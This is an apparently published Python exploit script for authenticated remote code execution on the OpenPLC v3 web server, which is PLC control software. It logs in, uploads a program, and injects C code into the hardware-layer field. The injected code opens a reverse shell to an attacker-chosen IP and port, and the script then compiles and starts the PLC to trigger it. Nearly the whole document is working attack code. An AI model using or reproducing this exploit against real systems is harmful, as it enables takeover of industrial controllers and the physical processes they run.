Authored by Fellipe Oliveira

OpenPLC WebServer version 3 authentication remote code execution exploit.

# Exploit Title: OpenPLC WebServer v3 - Authenticated Remote Code Execution
# Google Dork: N/A
# Date: 25/04/2021
# Exploit Author: Fellipe Oliveira
# Vendor Homepage: https://www.openplcproject.com/
# Software Link: https://github.com/thiagoralves/OpenPLC_v3
# Version: OpenPLC v3
# Tested on: Ubuntu 16.04,Debian 9,Debian 10 Buster
# CVE: N/A

#/usr/bin/python3

import requests
import sys
import time
import optparse
import re

parser = optparse.OptionParser()
parser.add_option('-u', '--url', action="store", dest="url", help="Base target uri (ex. http://target-uri:8080)")
parser.add_option('-l', '--user', action="store", dest="user", help="User credential to login")
parser.add_option('-p', '--passw', action="store", dest="passw", help="Pass credential to login")
parser.add_option('-i', '--rip', action="store", dest="rip", help="IP for Reverse Connection")
parser.add_option('-r', '--rport', action="store", dest="rport", help="Port for Reverse Connection")

options, args = parser.parse_args()
if not options.url:
print('[+] Remote Code Execution on OpenPLC_v3 WebServer')
print('[+] Specify an url target')
print("[+] Example usage: exploit.py -u http://target-uri:8080 -l admin -p admin -i 192.168.1.54 -r 4444")
exit()

host = options.url
login = options.url + '/login'
upload_program = options.url + '/programs'
compile_program = options.url + '/compile-program?file=681871.st'
run_plc_server = options.url + '/start_plc'
user = options.user
password = options.passw
rev_ip = options.rip
rev_port = options.rport
x = requests.Session()

def auth():
print('[+] Remote Code Execution on OpenPLC_v3 WebServer')
time.sleep(1)
print('[+] Checking if host '+host+' is Up...')
host_up = x.get(host)
try:
if host_up.status_code == 200:
print('[+] Host Up! ...')
except:
print('[+] This host seems to be down :( ')
sys.exit(0)

print('[+] Trying to authenticate with credentials '+user+':'+password+'')
time.sleep(1)
submit = {
'username': user,
'password': password
}
x.post(login, data=submit)
response = x.get(upload_program)

if len(response.text) > 30000 and response.status_code == 200:
print('[+] Login success!')
time.sleep(1)
else:
print('[x] Login failed :(')
sys.exit(0)

def injection():
print('[+] PLC program uploading... ')
upload_url = host + "/upload-program"
upload_cookies = {"session": ".eJw9z7FuwjAUheFXqTx3CE5YInVI5RQR6V4rlSPrekEFXIKJ0yiASi7i3Zt26HamT-e_i83n6M-tyC_j1T-LzXEv8rt42opcIEOCCtgFysiWKZgic-otkK2XLr53zhQTylpiOC2cKTPkYt7NDSMlJJtv4NcO1Zq1wQhMqbYk9YokMSWgDgnK6qRXVevsbPC-1bZqicsJw2F2YeksTWiqANwkNFsQXdSKUlB16gIskMsbhF9_9yIe8_fBj_Gj9_3lv-Z69uNfkvgafD90O_H4ARVeT-s.YGvgPw.qwEcF3rMliGcTgQ4zI4RInBZrqE"}
upload_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Content-Type": "multipart/form-data; boundary=---------------------------210749863411176965311768214500", "Origin": host, "Connection": "close", "Referer": host + "/programs", "Upgrade-Insecure-Requests": "1"}
upload_data = "-----------------------------210749863411176965311768214500rnContent-Disposition: form-data; name="file"; filename="program.st"rnContent-Type: application/vnd.sailingtracker.trackrnrnPROGRAM prog0n VARn var_in : BOOL;n var_out : BOOL;n END_VARnn var_out := var_in;nEND_PROGRAMnnnCONFIGURATION Config0nn RESOURCE Res0 ON PLCn TASK Main(INTERVAL := T#50ms,PRIORITY := 0);n PROGRAM Inst0 WITH Main : prog0;n END_RESOURCEnEND_CONFIGURATIONnrn-----------------------------210749863411176965311768214500rnContent-Disposition: form-data; name="submit"rnrnUpload Programrn-----------------------------210749863411176965311768214500--rn"
upload = x.post(upload_url, headers=upload_headers, cookies=upload_cookies, data=upload_data)

act_url = host + "/upload-program-action"
act_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Content-Type": "multipart/form-data; boundary=---------------------------374516738927889180582770224000", "Origin": host, "Connection": "close", "Referer": host + "/upload-program", "Upgrade-Insecure-Requests": "1"}
act_data = "-----------------------------374516738927889180582770224000rnContent-Disposition: form-data; name="prog_name"rnrnprogram.strn-----------------------------374516738927889180582770224000rnContent-Disposition: form-data; name="prog_descr"rnrnrn-----------------------------374516738927889180582770224000rnContent-Disposition: form-data; name="prog_file"rnrn681871.strn-----------------------------374516738927889180582770224000rnContent-Disposition: form-data; name="epoch_time"rnrn1617682656rn-----------------------------374516738927889180582770224000--rn"
upload_act = x.post(act_url, headers=act_headers, data=act_data)
time.sleep(2)

def connection():
print('[+] Attempt to Code injection...')
inject_url = host + "/hardware"
inject_dash = host + "/dashboard"
inject_cookies = {"session": ".eJw9z7FuwjAUheFXqTx3CE5YInVI5RQR6V4rlSPrekEFXIKJ0yiASi7i3Zt26HamT-e_i83n6M-tyC_j1T-LzXEv8rt42opcIEOCCtgFysiWKZgic-otkK2XLr53zhQTylpiOC2cKTPkYt7NDSMlJJtv4NcO1Zq1wQhMqbYk9YokMSWgDgnK6qRXVevsbPC-1bZqicsJw2F2YeksTWiqANwkNFsQXdSKUlB16gIskMsbhF9_9yIe8_fBj_Gj9_3lv-Z69uNfkvgafD90O_H4ARVeT-s.YGvyFA.2NQ7ZYcNZ74ci2miLkefHCai2Fk"}
inject_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Content-Type": "multipart/form-data; boundary=---------------------------289530314119386812901408558722", "Origin": host, "Connection": "close", "Referer": host + "/hardware", "Upgrade-Insecure-Requests": "1"}
inject_data = "-----------------------------289530314119386812901408558722rnContent-Disposition: form-data; name="hardware_layer"rnrnblank_linuxrn-----------------------------289530314119386812901408558722rnContent-Disposition: form-data; name="custom_layer_code"rnrn#include "ladder.h"rn#include <stdio.h>rn#include <sys/socket.h>rn#include <sys/types.h>rn#include <stdlib.h>rn#include <unistd.h>rn#include <netinet/in.h>rn#include <arpa/inet.h>rnrnrn//-----------------------------------------------------------------------------rnrn//-----------------------------------------------------------------------------rnint ignored_bool_inputs[] = {-1};rnint ignored_bool_outputs[] = {-1};rnint ignored_int_inputs[] = {-1};rnint ignored_int_outputs[] = {-1};rnrn//-----------------------------------------------------------------------------rnrn//-----------------------------------------------------------------------------rnvoid initCustomLayer()rn{rn rn rn rn}rnrnrnvoid updateCustomIn()rn{rnrn}rnrnrnvoid updateCustomOut()rn{rn int port = "+rev_port+";rn struct sockaddr_in revsockaddr;rnrn int sockt = socket(AF_INET, SOCK_STREAM, 0);rn revsockaddr.sin_family = AF_INET; rn revsockaddr.sin_port = htons(port);rn revsockaddr.sin_addr.s_addr = inet_addr(""+rev_ip+"");rnrn connect(sockt, (struct sockaddr *) &revsockaddr, rn sizeof(revsockaddr));rn dup2(sockt, 0);rn dup2(sockt, 1);rn dup2(sockt, 2);rnrn char * const argv[] = {"/bin/sh", NULL};rn execve("/bin/sh", argv, NULL);rnrn return 0; rn rn}rnrnrnrnrnrnrn-----------------------------289530314119386812901408558722--rn"
inject = x.post(inject_url, headers=inject_headers, cookies=inject_cookies, data=inject_data)
time.sleep(3)
comp = x.get(compile_program)
time.sleep(6)
x.get(inject_dash)
time.sleep(3)
print('[+] Spawning Reverse Shell...')
start = x.get(run_plc_server)
time.sleep(1)
if start.status_code == 200:
print('[+] Reverse connection receveid!')
sys.exit(0)
else:
print('[+] Failed to receive connection :(')
sys.exit(0)

auth()
injection()
connection()